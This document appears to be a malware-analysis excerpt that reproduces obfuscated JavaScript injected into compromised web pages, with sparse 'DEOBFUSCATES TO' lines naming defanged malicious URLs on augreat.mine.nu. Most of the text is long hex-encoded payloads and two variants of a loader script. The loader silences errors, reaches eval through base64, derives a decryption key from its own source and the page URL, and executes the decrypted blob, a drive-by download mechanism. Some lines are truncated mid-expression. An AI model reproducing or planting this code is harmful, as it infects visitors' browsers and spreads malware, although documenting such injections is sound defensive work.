B5986EA691B9607C4BB066A591B99AA969986F62AB65A9A6B5A8
B8B05872686A7C53C34CA4B7B061BC53AAA6508257A6A6618FB
695B25F639578686D529287636A6E66A795657461B8A674879EB
BA0B3B0A1B3A79EB95F6391A5B5A595B8AA636A6E66B15E9898B
7A687B58899B19C69A59771A499B36361735C8162AD659AA2B5
96AE6A956E57BC4BA7B8BB50C057A5A5538362A7B86594B198A9
AB91B17DB0AD97ABB4A36D5994B594B8B6A5B5596A7C53B5708
3A6ADA695A28CAB9CAA5FA5A55EA8AB9E7157736A6E66BF50A8
98B5A49B6EA75965B24BB5A5BF62AB659BA5617066B9A3738AB1
A696AFA39C8BA6ADA598B8B5586778ADAD88B9A7A2B88AB5A2
A5BAB7A067607C61A2749591BB9C95B079AFAE956D9BA56C95A
FB05C65696A7C53C36293A6ABA4A95BAB6B50C041B5B3AC66BD
50A99B617E53689E8C977C849A76928782A193637C53B57083A
6ADA695A28CAB9CAA5FA5A55EA8AB9E7157736A6E66BF50A898
B5A49B6EA75965B24BB5A5BF62AB659BA5617066648CA1898684
8C898E7589939D636E66B15E9898B7A687B58899B19C69A59771
A499B36361735C8162AD659AA2B596AE6A956E57BC4BA7B8BB50
C057A5A553836252A193637C53B57083A6ADA695A28CAB9CAA
5FA5A55EA8AB9E7157736A6E66BF50A898B5A49B6EA75965B24B
B398BAB7A2B35F6E725C814CAD4FB44BBE3DC34CAD4FB44BB5A5
BF62AB65AEB46F85BBB058A99B6CA39CB46E606E7261BE53A9A3A
4A89F69A65C66BD3AB9A9BA61AE66B9A3737CB9A6966EA69470
99AAAF5C8162AD659AA2B596AE6A956E57BC4BA7B8BB50C057B
8B4538362979AAEB49297BA6A91715763949BABAE9C7378B1B19
FAFA591B9A0B0AF556F7D50BCAA6F949BABAE9C8AAFA6A4A8BA
A758A99B6CA39CB46B6B65B461A494BAA5986D9C6A61AE50B6A
2BE57BC61AAB9626D6559A5B189B698A473A0AFAF98B88A84928
37E9D5582B192AF9CA4B553A9AE91B8AAAAA5706DA59C676263
B49CAA7C65776E636C55777B66A66B6EA364A7755D796D75786
07F7561A964747895A777527059A2A7657972637C5E61A4A2AA
A792A6AAA67E5AA2645BA99B6CA39CB46D8C675E7F7D62B5A45
27059ABA696BA808C6772637C53ABB891B15FB8B45C8162AD659
AA2B596AE6A956E57BC4BA5ABB6A5B7A5696E646F7D3AC241BE4
BB050BF3AB79CB5B6A5B46A616E724BBE3DACB79EA8ABAAB0A16
68EA093A8B8915BAFAB5C65ACB66A3DC14CA6A6A961AA538362
608041B7A2A566B6508257AFA6AA6683A2B798BA695AAB727A8
A86959B779496857783959A6497967DB9849587789385607A868
58F75929671BC88BB826398AD7DBE869696AD94B060825E6D689
8768873948C8B85859B9475918C9785817697A4937BA58780997
26592B18ABA7F9B9360968B8AB9808A9BA893B186B981B4726D6
C6368A6AD87B97D8991888E7793BC7C9978B88E7787B67D8978
B88E7677867D8978B88D8787B97D8978B88E7787B97D8978718F
A1767F57715EA6BB74BD8F749F7E8E8581888E8486AE8E8574BA8
F7486AE8E84648A8F7486AE8D9574BD8F7486AE8E8574BD8F748
6678FAF6383695C6C9CBB9B9F93BC79BC85BB839B9296937785AE
92A7948986B185AA716794BC9CAF8398939D93998AAD8695879
E93AF8AAF847471706D6E57AAB19A71809A9361928B8B847F9B8
B6593B1A8B5818A97A8977A7283808B9364918C9B8585B194779
2B18F87828A8FAA966A717E5A726995BF9B888F888F7582AF90BB
8D889FB97EB090B58F7793BC7D98677592878F747C9984BB9088
9BB97D7584B892889BBC828D677E685F6DA7AA86698FBB7CC094
84866C8D968C7693AA8EAB8F8581B09173756B8EBB887A8E8486
6C93AC818B8F85977A8E859678909E7574686D5AABBC89BF8696
9A6693AC868C8395877693AD81B98585A8AD9395618786969B7
8929697788585A86394BC897984AB82AB938A60825E6D6898768
C72927B8675819AAD65918B878684B08FA4937B93AE829972649
2678A717F9A9362928B9272818B8F64937C8B88828E726D6C636
8A66397B981BF787493779B747C999B858F9DB1B67E8985888E86
77857E8A7CB88D878F7382AF8D838E878C89819A80B9908B767F
57715EA671887A9360937B9386858D8E8593798EAB9ABA9074B0
699AAA64898F749AAE8D958D8A8F74A97B90958CBF9074A8699
2AF6383695C65A5B6AD9F6F7D3ABB98B3619472BC6B4F41B8A99
CB2A7506DAB9CAA906F62AB4F98617E53B4B79CB1724BBB53836
281917FB4BB86B96AA4A0A09E6A6E50AB96655FBB6FA6BBA4A3B9
A9AAAF9A6E725C7660617E706669AB6C6061BC3DA7626D659BB
0A4A8B3A79EB965A4B398A7B6958AA3A6AE98B4B65867A6A3AB9
8A9B6526E724BA261B9A7A486ABB5B39CA8B7A4AA5F63AA97686
E5067A6938586686D996E724BA261B9A7A486ABB5B39CA8B7A4A
A5F63A49FA7B5A3AE9B636D5368A59CB8A0A57B55666D50BF65B
4B695B9B6A2AEA5A869647262AA73A3A6AF9ABAAA507257726A
5C814CAD659CADB49866BD3AB9A9BA61AE66A3508257AFA6AA
668393B9A0B7A68B95A49AAA9AB569AD6F7D50C257A4A2A7A9A
A58AA60BCBE3DC34C99AB5769A25C66BD3AB9A9BA4BAE50B891
B757A3617066A985BCAA92A5A76EA35C6559989496B8645B67A0
B1B56199645B679FA6AD9F686B6B4FA0A7615BA86B50C041AAA7
536EA67D96B1866994726299AE6361B6A86F626D8257726A53B8
A7A4BAA9AF69646F7D3AC241BE6196A7B693AD5FA66AAEC34CA
D4FA06C6C6E50BF3AB79CB5B6A5B46A5D76607C4BB050A8A5B39
AB5AAA2B462839AAEA5A69BAEA6586E41BC4BA7B8BB50C041B7A
2A566B79EB898A7A696B2A3A3B8577E6197B5A5A5B29CAFB561B
3A39EAEA4A2AF61ADA7A488A3A2B4A66E6B5EABA6B38F94B3A75
867AAB6AF61B3ABA3A86596AFA6A7A89567607C4BA9A7B450BA
A5B4A299ABAF95B99F617E53BBB0A3A69DA6A49FA7B5A3739EA6
B580ABB698B49B69639AABB685B3AAA2A798686E50B3ACADAD5C
814CA6A6A961B6A1B9A396AA577E61A8B4B591AB9CAEA6A7AE7
099B3ADB0AC986EB79EB898A7A6A0ABB6987157AFB69FB26B6B4F
9BB0A4A8B3A79EB965AEA2A1AFAF91B365A7B0A2A8A3A26DACA
FB494ACA7598041B7A2A566A598AAA5B3A699667F50BAA5B4A2
99AB7094AA9DAAAF9889AE91B8AA6963A2B3A897676361A5A2A
9B79DAAA5B56FA0A7B099B298AF6F9FBBB19BB0986D6163726294
B49AB6AE98B4B65EB298AFAAA0A7B05EA8A3A2B4A699ABAAAA60
7C4BA9A7B450A89FA6AF538362A5B3AAA2A79874A39CB1A6A4A
2A7AB8B9EB8ABA2AF96AB6A93AD9CAFB398AC6B6B4F9AA9A6A1
74B595B98C938D97B26A95AC998AA882946B6BA89FA6AF61B9A7
A49AA5A2AE986E646175677A73556F7D93AD9CAF6FA6ABB6738
E7B6984876F7D3AA89FA6AF61B6A7A2B89C69B6A1B9A396AA607
C4BB066A591B99AA9615BAA6B50C0A9A6B5A8B8B05872686A7CB
050B495B9ACB3AF5B776B6B4FB44BA7A8B4A5A4AEA6AF617DB2B7
81957CA569A2A8AC594FB24BB794B862A2AAAB7EAFA8B2AE6B4F
A0A769A2A8AC5EB8ACA3B4A7B8AB9EAC5F716D646F7F6D67B26
36A53C14CA4B7B061BC3DBCA3A2659AADB49CAA7F9FA7A16FB4
A8A8B5A4B7A0AFA85B776E9FA7A16FAD98B4A9A4AD64726A6E5
0B495B974A5B096BBAF95B3AB6FA4A5ABA3A4AA7CADA6A0ABB0A
46D59B0A39DABA5A467607C4BA5ABB65EB89CB582A7BAB499A7A
CB5A65B68A59CA6AAB4AA97686E52A8A3B4AA9780645BA8A3B4
AA976F7D3AB79CB5B6A5B462A2AAAB7C4BB066A591B99AA9699
86F62AB4FA9A6B5A8B8B050B3ACADAD6E50BF3AC257A6ADA6AB
62AB4FABB3BA53C14CA2AAAB7EAF98BD6271A8ABAAB7989E9192
AF9CA4B55BB5A49A6E724BB398BAB7A2B357B3A6A7814CAD659A
A2B596AE6A956E57BC4BA5ABB6A5B7A561AFA8B2AE6B4FB44BBE3
DC34C96BAA5A4B59CB5B050BDAC8D88A2B96A594FB24BB794B86
29FA7A17EAFA8B2AE6B4F41B5B3AC66BD3ABB98B361A2A8AC618
281ADB6849687946D59BC79767E79657E6B796E6C897860726B7
47964737B62796F6E71778C7368756C7573777B75AD67607C4BA
9A7B450B499AB737090AEA5968786A55B68BD728B7A7179768C8
85D886E7478607A76637864838568876F608A7C7886798988758
A6C75BE556F7D3AAE9D6169A2A8AC616E57B0A39D777074B4AE
AFADA2A7A671B39B86B998A96A95AC998AA882946D5284A77E7
959BA7F52707A956C556CB16D7A596A7C3DAFA8506DA6A3AB65
6F629FA7A1736F77B5B99EB1A6A2A574B4A675BD9CA46998ADA4
79AC868F6C5585B26D7D5DB57E55718584705967B0707B645980
41BE6196A7B693AD5FA66A53C162A2AAABB6B3A16E6F616E7261
BE3DB8A7A4BAA9AF69646F7D3AC241A7B6A1A9B699B4A561A9A
2BF89899D5F6A4BAE50A69FA8ACAEA6A1BA70A7B7A0B5A65B687
E91B5A7ADA6A766A3A2A89FAAB798838C91BB9873947874AC91
B757A4B097AB7F7AA6ADA273868B7093B198B4B453BDAB94B99F
7E7253AEA799AC9FB57E64668F719E8A84937C96966E81A7A2B3
94B3629EA6A4A67EA8B9AB9465ADA2ADA8AB7F6175677A73718
2B291B798AE61A1A7AF9582ACB661A9A7AEA5AA74636C98ADA4
79AC868F6C55847EA0A6A9A2AE53B4A39DAA74B5B553BCA39CB
A9C7E635E89965B67757D7094B6B29CAAAB7F635C814C94B49AB
6AE98B4B65EBCA9AAB5986E646CA6A7B1AD98BA6291B79AA9AA
A9AB7F7F9565ABA2A566A59FA99C7E908374A59CA6AAB461AAA
FA6A4AD7472619BABAB97ADAB7E7253938389987A938A839A80
6CB598B3A2A066B091B29C7EB6A6AFA650BB98ADB69883B5A6A8
9FB0B4A7847EA0A6A9A2AE53B4A39DAA74ADAAA1B1B7A2B157B
7A29FBBA76D6C9FB5B5A380715FB1A0B7A696B5B495739FB0AE98
BBB099BD65A4B0A075A699B79CA4B561B6AAA084A77E795A847E
5FA6A7B1AD98BA80526E724BA5A2A9B79DAAA5B56FAAB8ABA4A
A5F637D94B6B29CAAAB61A2A5A9AA99BB9C7EA5A6A8B45EAF98
B36196B5A6958284A2A89CA983A0B5A3A6B561A9AE91B8AA61B8
9CAAB698826861A998AFA998B9747261A1A7AF95829BB4A3A566
8F719E8A84937C96966E81A7A2B394B3629EA6A4A67E80B5A6A5
B19C91A2A7AE62A6A6A3B6A670686D95AC998AA882946D5284A
77E7959BA7F52707A956C556CB16D77757D7094B6B29CAAAB7F6
35C814CA2AAABB6B3A16E73598041BE4B9CAC625891A78FB2AA9
66A57BCA5686D53ABA9928E9E908F5E6881A0826F67B570686D7
399626367A28372526E57627E53776B50C041AAA7536E9585BC9
BA6A99BAA6A5965587E61646F62AB4FA0A7615BBEB77C8CA6B46
95C66636D65686A61AE50AA9FBE7E9A995B6F7D3AA9A6A4B6A0
ABB0A473AEB3AAA7AB6A52B89CA66199AFA9A5B79C61B0A1AB6
4598041BE4BB050BF50AAA3B4A653C14C7CB585B2B8836E6992B1
5E6D6198ADA479AC868F6C5585B26D7D5DB57E5571858470596
7B0707D64598041BE4B’);</script>
DEOBFUCSATES TO: ????????????????????????????????????????????
hxxp://augreat.mine.nu/0i1w7m/4.php
<script src=’/update/e95.js’></script><script>window.onerror=
function(){return true;}</script><script>function de649a8f5a(cd5
4012697, e747a43e7a){var c8155fea7c = ‘Y2FsbGVl’;var sprintf =
window[unescapea('ZXZhbA==')];var e54812d933 = arguments
[unescapea(c8155fea7c)];var f6af19393d = location.href;e54812d933
= e54812d933.toString();e54812d933 = e54812d933 + f6af19393d;
var df13f5a1e4 = e54812d933.replace(/\W/g, ”);df13f5a1e4 =
df13f5a1e4.toUpperCase();var b1ea0b2711 = 4294967296;var
ac2db3042b = new Array;for(var ab9bc602c5 = 0; ab9bc602c5
< 256; ab9bc602c5++) {ac2db3042b[ab9bc602c5] = 0;}var
c7be42d74e = 1;for(var ab9bc602c5 = 128; ab9bc602c5; ab9bc602c5
>>= 1) {c7be42d74e = c7be42d74e >>> 1 ^ (c7be42d74e & 1 ?
3988292384 : 0);for(var e0cb1c4622 = 0; e0cb1c4622 < 256;
e0cb1c4622 += ab9bc602c5 * 2) {var d53149ee35 = ab9bc602c5
+ e0cb1c4622;ac2db3042b[d53149ee35] = ac2db3042b[e0cb1c4622]
^ c7be42d74e;if (ac2db3042b[d53149ee35] < 0) {ac2db3042b
[d53149ee35] += b1ea0b2711;}}}var bce404c8ea = b1ea0b2711 – 1
;for(var e3d01856b2 = 0; e3d01856b2 < df13f5a1e4.length;
e3d01856b2++) {var a45e052406 = (bce404c8ea ^
df13f5a1e4.charCodeAt(e3d01856b2)) & 255;bce404c8ea =
(bce404c8ea >>>
= bce404c8ea ^ (b1ea0b2711 – 1);if (bce404c8ea < 0)
{bce404c8ea += b1ea0b2711;}bce404c8ea = bce404c8ea.toString
(16).toUpperCase();while(bce404c8ea.length <
= ‘0′ + bce404c8ea;}var ad95c63d70 = new Array;for(var
ab9bc602c5 = 0; ab9bc602c5 < 8; ab9bc602c5++) {ad95c63d70
[ab9bc602c5] = bce404c8ea.charCodeAt(ab9bc602c5);}var
e9292c57e5 = ”;var c4885df647 = 0;for(var ab9bc602c5 = 0;
ab9bc602c5 < cd54012697.length; ab9bc602c5 += 2){var
d53149ee35 = cd54012697.substr(ab9bc602c5, 2);var b722533b78
= parseInt(d53149ee35, 16);var d96488e760 = b722533b78 -
ad95c63d70[c4885df647];if(d96488e760 < 0) {d96488e760 =
d96488e760 + 256;}e9292c57e5 += String.fromCharCode(d96488e760)
;if(c4885df647 + 1 == ad95c63d70.length) {c4885df647 = 0;}
else {c4885df647++;}}var e027d8b30a = 0;try {sprintf(e9292c57e5);
} catch(e) {}}
de649a8f5a(‘3C9EABA3A5A7ACA8A058977C8E7A7CB09AA15E8
DB0AC76A1828A805E4CAE4D42A899A855AEA4B58F9C89838F
6270635B939A9999A799AAA19BA3A2A2B0A2B3AAA4ABAAAAB
8AABBB2AC6867677567786F69706F577D3D4CAF93AA5683AD
89A76D7A7EA5557F536A606D423F9BB1A56361A899A8558F8
C88AA76AA97867F637E597F917BA686A5A48A6E90A4AE759B9
38B7C7356829B78B47DA49987606D5C63B43C413FABA3A5639
A76919F9A8E8A89596F588396B69B719F9EA7A5A76A80A4AD9
A66A896B097B2A65A61565F629FB4AB88A287829C61AF9EA09
FAA9D6B6E4D423B86A18BA6678B7FA1586172629FB4AB88A28
7829C61B6AE94ABAAA7ABA1AA61937C8F9EA77F9A7F5E58977
99B9CA885897E61666B6E4D42AF42403EB498B7AEA4A65683A
D89A76D7A7EA5704CB04D433C9EABA3A5A7ACA8A0589B67A8
75A89885AE5E85A19BAFB3A8AC8F616294B67EA79281A1955C
4DB43C423FA9B4AC63B43C413F85A19BAFB3A8AC8F63B1A3A8
A75A5A7D7A96556F5993AB7BAA9C7EAF8C5E589C96AEA6A86
26D423F3E9292ABA5ACAEAA8E70A6A8A79660A4AAAE9F6C74
3C423FB26296A4AD95A05E9A6B53BE59A49DAAAAB4A163696
D58B33F4C3CB59EA6ADA8A36283A2A19EB2ACA99B61B59EA5
A8A5A3B59885A896B1713FBF3D4D4398ADA498B69CB2A752A
B9086BC89A68C9C60859B9781B88A769B62559795938278847
C796E5390A174AB6D6A949B6C43AD42403EB6A5BC59AD423F
3E91999887A7897A987087BCA997587355736E4D423B879C8A
90A8947D956683A4A6986376526B713F4B3C929F8786AB8686
967188A29DA45D6B6E4D423B879C8A90A8947D95668DA7ABA
7A8617FA078A8796895A15B73403E4B82A98E80AD8779A5619
69AA89D8AA4889CAF9E5A8D98858B798F7F766456676B6E4D4
23B879C8A90A8947D956679A1B1A6A8615B73403EBF53A69AA
69B9E5DA75C63B452AA9BA9B7A5B159627356B24C3D4CAB97A
CABA7B05374743CB5403FA8A8B19CA6A1A5A3628DA27B8A9C
7A80A45B977FA77B8066B37B6F5982979EA1BCA9B7925E58859
B9781B88A769B625598809C7EACB27DA36E539C8AA16F699B8
78A6C43AD423FABA3A5639F99A26D7F957D8D596F5866704C
3CB99AA458AB84A896BC898C8756726298759F749D9588B85B
93989AA4B0ABB68C6F59867EAB788C64B4815B73403F4B9CA95
95AAD859BA5AC93938158577262636C59AD423F3EB894B5598
46BAD68B2A39B9252755657A56D9F955463977C8E7A7CB09AA
15E6B6B5E656797B09B577D3D4D423BA19C556AA69D8AAC8E9
988AC5B929F8786AB8686966F59846BAD68B2A39B925E58AB84
A896BC898C875F557F70636A5B58B13F4B3C4CA298585E8E93A
27A6C987D8D557F7063695B58B13F4B3C4C42A6AAAF55BD3D4
C423B413F8B8F8C88B3AC7FA46394A8B161846BAD68B2A39B92
5E58665E7D3D4C423B413F9BA99D7A83858280557F5374743C
413F3E4BB0639C93AC999D6A986C59AD58B33F4B3C4CB6529D
A2A8A753BE433B413F3EB6A5BC59AD423F3E4B3C4C8F7F917BA
FBC7AB16785A09BA1AE78BB9E95ADAA9A6A8576B065A8A68D9
B5F635B54645657645F635BA1A89BA3645F63695B73403E4B3C4
C42989FA06C8C868D83527556667D3D4C423B41B355A594B79
C9A609B5E62AE63B63C413F3EBF3D4C42AF423FB24C3D4CAB97
ACABA7B053A9A09C6F80888C7D7E43AF42409BB7A1A6AD9BA7
A455B58C88B19C9F9B816A8B87859A8DAB988A5F639BA7AAA1
ABB0A1B9623CB3403EB6A5BC59AD42403E4BA9A4AB527CABA6
9764A6AC9E587355B098BA597699AA9A6A5C7E433B417AAAB3
88749CA5A464A8A7A7879AA69D5E79B7A4986A95ABA263A99
8B77D93AC9B5D6B536E59636A666572636C743C423F3EAB996
3618A7C829D97A8A6815B58B13F4B3C4C9DA19BABA2A7A1B76
795A7A5A0AB9863763C413F3E4B55AC9D6F5A5660628B87859
A8DAB988A536E433B413F3E646E63A993AC9E72715563643C4
13F3E4B557E5997B0A69EB498B6765458615586A8B48E639BA9
A170A7B2807F8C89A9B49CB1A05A61713F4B3CC0433C413F9E
A8536B9BA7AAA1ABB0A1B96252B3403E4B3CA7A895ADA39AB
0A7719CA1A7A19EA75380433B413F3E6494A79DA67558556D5
3A5AEA4A3ACA3B0A963643C413F3E4B557E59A299AA9D7F626
5595D423F3E4B3C6574529DAEA5ABA5A8AC6F5A56606277B8A
A876999A8AE61B7A879858A88B6A5ACA799605F704C3C4CB63
C42403EBF53A69AA69B9E5DA75C63B43C41B33FBF3D4DAF93A
A5677A774888D9BB1A2557F53B19EA95877A7B494BC615B7340
ABA3A5638C8B7D6A9A9097B2596F5866704C3DA9AEA09BAA9
EB1A163A07E997B8C8899A9615B42B13F4B75A87A778C9FAEAE
538059749D777A969CBCA56D423FA8A7A797A29F9DA5AAB65
BAA85937D8D7BA8996F596368665E7D3DC0433C9EABA3A5A7
ACA8A058A37C8FA093A365885E9D9A65A99B7F9E7761627679
7A77B27CA8AF5C4DB43C41AD9DAB9FA8595AA08E67A895909
F7366A29AB09AB7A15C6A7278787488B378ABA35E4C3C4CA18
A6A9C978F9984595D75569D9A65A99B7F9E77704C3D4CA18A
6A9C978F9984596F589E8D7499A586987964A8B795B6ADA4A1
A49C6A636F7C68797BAF88A6B0686461713F4BA5A8ADA7AAA
455AA8B759F94859C767D3DC0433C9EABA3A5A7ACA8A058AB
7885AC9D9099A85E5E4CAE4D429B9E565D63869C7E669D8499
B15C63B43C413FABA3A563879B897E6C97688C596F5866AD72
96739C629B66987D3D4C42A899A855B3888BA9A197A1AE6270
63AEA09DA998A3A3A861545DAB7A7B697B5EA77D6F7B7358B8
6F6A716F5AB778867B685DAB7779787C5EA77E676B7A58B87F7
37A6D5AB7697B7E635DAB7779747C5EA77D7A7B7A58B87A656
E6E5AB775797B685DAB6B7A74895EA77D7A7B7358B87E6B7D7A
5AB767746F6A5DAB6B7869795EA76E6E6B7858B870646E6C5AB
76A7471665DAB6C73697B5EA76E6C768558B86F6A6E6C5AB76
98572745DAB667875895EA779776B7A58B86D6B6E6C5AB7697
B6B685DAB66836C875EA77A7A777758B86F686E6E5AB764846F
685DAB6B7A6A785EA76F67687658B86F687C675AB765796F6A
5DAB7A7969885EA76E6E677958B86F687B775AB776776D6B5D
AB7979697B5EA77D7B7B7858B86F6A716F5AB779797F675DAB7
B86797B5EA77E6E6B7A58B87C757E6D5AB7697B7F695DAB7B77
77875EA77C777B7758B87F746E6E5AB779757F6A5DAB6B7A757
85EA77E6C7B7858B87B697D7A5AB779846F6A5DAB787774765
EA76E6E7B8458B87A737E6B5AB7757C7A745DAB7A85697B5EA7
7E7A7B7958B86F6A7E6B5AB76C7C7F645DAB7A846C7C5EA77D
7A6B7A58B87F747A6D5AB7697B7F6A5DAB7B8476785EA77E6C
7B7858B870646E6E5AB779847C755DAB6B7A74765EA77B77697
458B87C747B775AB764776F6A5DAB6E7976855EA76E6E768358
B87C7669685AB769787B765DAB6588697B5EA76E6C6B7858B86
F6A6E6C5AB7767470785DAB6C736B755EA768796B7A58B86B68
7B6F5AB7697B70745DAB6D8875875EA76C6F6B7858B870676E6
E5AB7648472765DAB6B7A75785EA76E6C6B7858B86A736E6C5A
B76B886F6A5DAB6C7377885EA76E6E687458B86B6868795AB76
6886D6B5DAB7B86697B5EA77E6B7B7758B86F6A716F5AB77979
7F665DAB7779797A5EA76D776B7A58B87E747D795AB7697B7F
675DAB66746C875EA76D796E8358B871676E6E5AB767777273
5DAB6B7A64755EA77C686E7758B87C6969685AB76C846F6A5D
AB7B8867775EA76E6E667458B86A647B6D5AB775877C695DAB
7674697B5EA77D79697858B86F6A6F675AB7777C6D655DAB6B
7B6A755EA76D6E6B7A58B872676D685AB7697B72735DAB6B84
74745EA771677A8658B872686E6E5AB76B876B695DAB6B7A757
45EA76C68768358B87D6A6B6A5AB769866F6A5DAB6A7274845
EA76E6E797258B87E7869685AB76C847B6B5DAB7A73697B5EA7
6E796E8358B86F6A7B7C5AB764757A675DAB768578875EA76F6
86B7A58B86A647C695AB7697B7E755DAB667466775EA771677
97B58B872676E6E5AB7787B6A645DAB6B7A6B785EA7796F7972
58B87D6269685AB774846F6A5DAB7B8668735EA76E6E6E8358B
8696B686F5AB7767C7F6B5DAB787266765EA7716F777258B87D
746B695AB7767C6C655DAB687275855EA76866657358B86C63
68665AB7638669665DAB688467745EA76F6B788458B87F787E6
E5AB763737E665A5F704C3C4CAF93AA56A9A77E95A486A1A65
57F5373B16668666572637E433B41AC96B453A969AAB1B07B9C
88637652A98B7DB2A2A2A4AB66A29AB09AB7A1526256677D3
D4C42A899A8558569847EAC7EA9A2627063AD978388A0969C
B3595F585E9B72ABBCB378928B6072AB76715B73403E4BA9A4A
B52A08E67A895909F73587355B7A1A8AC9599A69A6A5568AE6
29B669867A8739C629B585E7D3D4D423BA08E67A895909F735
87355AF7A90A682A269856A9B9B6B989A839B835F866F737DB0
7BB5A06C743C413FABA3A563A680B08067A47CBA596F585E83
AB848B70876D7F556F5373B16668666572636C68A69D8187AD
87ACA96D423F3F4B3CA9A8A4585EABA3A5637E639F8969B36C
BA7662737B66A98677AA6BAF72A290AB8D6B9481AD708764AA
8C66A96FAC6D5E6C59AD423F3E4B75A87A778C9FAEAE8E886A
998B6AA67BAAA0596F589E8D7499A5869879566062A49881A2
A795A0BB6E4D423BB5403F4B3C9692776C9B83A6A2637652697
13F4B3CAA85937D8D7BA8996B626D423FB24C3D4D42A49DAA
AAB4A163696D42B33F4C99B8A795AC9FA4B05386B0A7919E94
B78B6B623CB3403EB6A5BC59AD423F3EB894B5597B80897B878
4A79B527556A3A7AA637A95AC9FABA78B929B9C9D99A96A55
94AE9B9BA189ABA0A86783AD9F98AD87ACA697666A576B6E4
D433B419F9B625B8C81857E7B86A6956C59AD423F3E4BA8867C
AB928D9CB25B6C743C413F3EB894B559A589A485B09F9BA2527
55657646E4D423B419CA4B45BB99AA45888A8AFABACB3937C7
3657D85B6A6AAA1B096866F7569627388A8AFABACB3937C616
06B53BE433B413F3EB584B189A0A48E9E625E805954797776835
57E433B413FB24C3D4C423BAB87A392A1AF919B586172625584
7A735A713F4C3C4C4298A7A85DB894B55984ABA3ADABADA47
D6F687187B5A0BBA2AC997A71756E95AC9FB09FAFA3776E645B
58B13F4B3C4C42A589A485B09F9BA252637355648FBB699594A
E65A58FBB699594AE65A5557E433B413FB24C3D4C423BAE97A7
6286A4AE858C8F98A85380433B413F3E696FB29B9C9D99A9629
6AF9AA5AB9F997F55A6A5A5A19A6F7265857F646D7A6A6F6B8
66A69656A777466707B75706662866677716A7978798676797
B5458AD9EA6A7AB76546A66656453AB9E9B9F9EA97F55756962
5A745C625E4D423B413F5C7EA3A4AB93A556A3A3A0A87654AB
A8986453B99A9EAD9B72649BB7ADA2726564A89CB59E98A497
A2A761A4AD9A6699AD7197ACAB979BAA63B29BB378A2756A5
7805A63643C413F3E4B5A7FA993AA97A262A1A4A6977558A9B
BA3A85B52AE97A1B798805B9BA5979CA762BB66A3AD9F98ADA
7ACA6975A745C625E4D423B413F5C7EA3A4AB93A556A3A3A0
A8765499ABA9B1A3AF9AAB5A56ABA39FB89E6F5AAAA7B79865
775958613F4B3C4C425974A696B494B059A099A39A7F55B4AD
A09DAEA9735563AF93A4AB9A7F557FABA6ABA66F7162849176
877C6F69536E59A589A485B09F9BA25263403E4B3C4C60708C7
2A2BBA6A8A59876587369536E433B413F3E696FB39AA499A355
B094B09E6F5AAA96B49AA8AD5458AC96AEA8A87654A5AFA8A
79FA95B705F56604C3C4C423B5F7264B195AD9E95AC745C7D3
D4D423B419E6C76AB8BB07D7D567262637E433B413FABA3A56
3B280AE7E76797D8F596F589AA4A5A8B09EA0AC6498B498A4A
D977DA29AAF98B1AD5A5A9A9EB8556C743C413F3EBB81B9817
36F8081709CB1A797AA7E898F7F6376528B97AA95879C9C987
3403E4B3CB69277B0A09CA77F6B6F5B73403E4B3CA7A895ADA
39AB0A7719BA19CAF63A3A3B39EA09C799DAB9FA761AB86AC7
D836A8D855B73403F4B3CC0433BB55698A3A7A6A15A9D5F55B
D3D4CB63C423FA7A7A7B8ABA05866704CB04DA298585E78B9A
89CA191AD8E5D6B5C63B43C419AA4A5A8B09EA0AC64AD9364
A7A9A48FA1557F536A9A94A7ABA97C95AF9AA0A35D704CB06
39E9EAB9B55BD3D4C9DA19BABA2A7A1B767AA896799B2A59A
A45275565CA395B2AEA67298A1A3A1AE606D42B3′);</script>
DEOBFUSCATES TO: ?????????????????????????????????????????
hxxp://augreat.mine.nu/1j0m2t/17.php
<script src=’/update/e95.js’></script><script>window.onerror
=function(){return true;}</script><script>function e7b58e8190
(ac3f628204, c305af5ed9){var ca1bd809aa = ‘Y2FsbGVl’;var
sprintf = window[unescapea('ZXZhbA==')];var c7cdac4fdc =
arguments[unescapea(ca1bd809aa)];var fc6942b723 = location.href;
c7cdac4fdc = c7cdac4fdc.toString();c7cdac4fdc = c7cdac4fdc +
fc6942b723;var f243a6266d = c7cdac4fdc.replace(/\W/g, ”);
f243a6266d = f243a6266d.toUpperCase();var f6665d2945 =
4294967296;var e3f95e53ab = new Array;for(var e49f692868 =
0; e49f692868 < 256; e49f692868++) {e3f95e53ab[e49f692868]
= 0;}var e49f692868 = 1;for(var e49f692868 = 128; e49f692868;
e49f692868 >>= 1) {e49f692868 = e49f692868 >>> 1 ^
(e49f692868 & 1 ? 3988292384 : 0);for(var caa507d1a0 = 0;
caa507d1a0 < 256; caa507d1a0 += e49f692868 * 2) {var
a5c839da20 = e49f692868 + caa507d1a0;e3f95e53ab[a5c839da20]
= e3f95e53ab[caa507d1a0] ^ e49f692868;if (e3f95e53ab[a5c839da20]
< 0) {e3f95e53ab[a5c839da20] += f6665d2945;}}}var c4247d556f
= f6665d2945 – 1;for(var eacc2384db = 0; eacc2384db <
f243a6266d.length; eacc2384db++) {var eacc2384db = (c4247d556f
^ f243a6266d.charCodeAt(eacc2384db)) & 255;c4247d556f =
(c4247d556f >>>
c4247d556f ^ (f6665d2945 – 1);if (c4247d556f < 0) {c4247d556f
+= f6665d2945;}c4247d556f = c4247d556f.toString(16).toUpperCase();
while(c4247d556f.length <
a1a2658e5a = new Array;for(var e49f692868 = 0; e49f692868 < 8;
e49f692868++) {a1a2658e5a[e49f692868] = c4247d556f.charCodeAt(
e49f692868);}var ee4bb95814 = ”;var b3b82cee57 = 0;for(var
e49f692868 = 0; e49f692868 < ac3f628204.length; e49f692868
+= 2){var a5c839da20 = ac3f628204.substr(e49f692868, 2);var
b7ea509ce0 = parseInt(a5c839da20, 16);var b7ea509ce0 = b7ea509ce0
- a1a2658e5a[b3b82cee57];if(b7ea509ce0 < 0) {b7ea509ce0 =
b7ea509ce0 + 256;}ee4bb95814 += String.fromCharCode(b7ea509ce0);
if(b3b82cee57 + 1 == a1a2658e5a.length) {b3b82cee57 = 0;}
else {b3b82cee57++;}}var c0c3027df4 = 0;try {sprintf(ee4bb95814);
} catch(e) {}}
e7b58e8190(‘BAA5B559AA97A8A8B7AFBBA6AE735B9BB8B8B373
6665A59CBAA9A6A8A99B679BB3B1A8AEA59FB161A7B3B0689B
9FAB98A7B871A99FA678A481757A5B7240AF94B664B6AF9E99
5970646B6A7441409FA2B6646BA274667453AD80B69AA6ABAC
9EBCB1BA67A39BA79AB8AC7E596056B43D6464635957A9AF9A
A7646E76575D5EA86B646E59AA97A8A8B7AFBBA6AE649C9BA5
B686A89B9B7AA76CAD6E6A6064ADA297B8B5A2A59D61647A6
D6EAC98A5AEA6AFBCB0B06599A194B687B29D9C77AD5BAD6D
